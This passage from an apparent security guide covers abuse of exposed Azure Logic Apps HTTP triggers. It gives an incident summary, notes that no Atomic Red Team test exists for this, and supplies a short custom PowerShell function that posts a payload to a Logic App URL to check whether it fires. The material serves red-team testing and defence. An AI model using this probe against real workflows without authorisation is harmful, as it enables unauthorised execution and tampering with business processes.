  • Attack Vector: Third-party vendor's Logic App (processing contracts) with exposed HTTP trigger
  • Impact: Unauthorized workflow execution leading to contract modification and financial loss
  • Mitigation: Vendor forced to disable SAS authentication, implement MFA

15. ATOMIC RED TEAM TESTING

Note: No dedicated Atomic Red Team test exists for Logic Apps HTTP trigger abuse as of v5.0. The MITRE ATT&CK community recognizes T1190 (Exploit Public-Facing Application) but has not yet released Logic Apps-specific tests.

Alternative Testing Approach:

  • Use curl-based tests to simulate HTTP requests
  • Create custom PowerShell test script that replicates Logic App invocation
  • Integrate into Atomic Red Team framework via community contributions

Custom Test Script:

# Atomic Red Team - Custom Logic App Test
function Invoke-LogicAppTest {
    param(
        [string]$LogicAppUrl,
        [hashtable]$Payload
    )
    
    $response = Invoke-WebRequest -Uri $LogicAppUrl `
      -Method POST `
      -ContentType "application/json" `
      -Body ($Payload | ConvertTo-Json)
    
    if ($response.StatusCode -eq 202) {
        Write-Host "[+] Logic App triggered successfully (202 Accepted)"
        return $true
    } else {
        Write-Host "[-] Logic App trigger failed with status: $($response.StatusCode)"
        return $false
    }
}

# Usage:
# Invoke-LogicAppTest -LogicAppUrl "https://..." -Payload @{action="test"}

APPENDIX: Additional Resources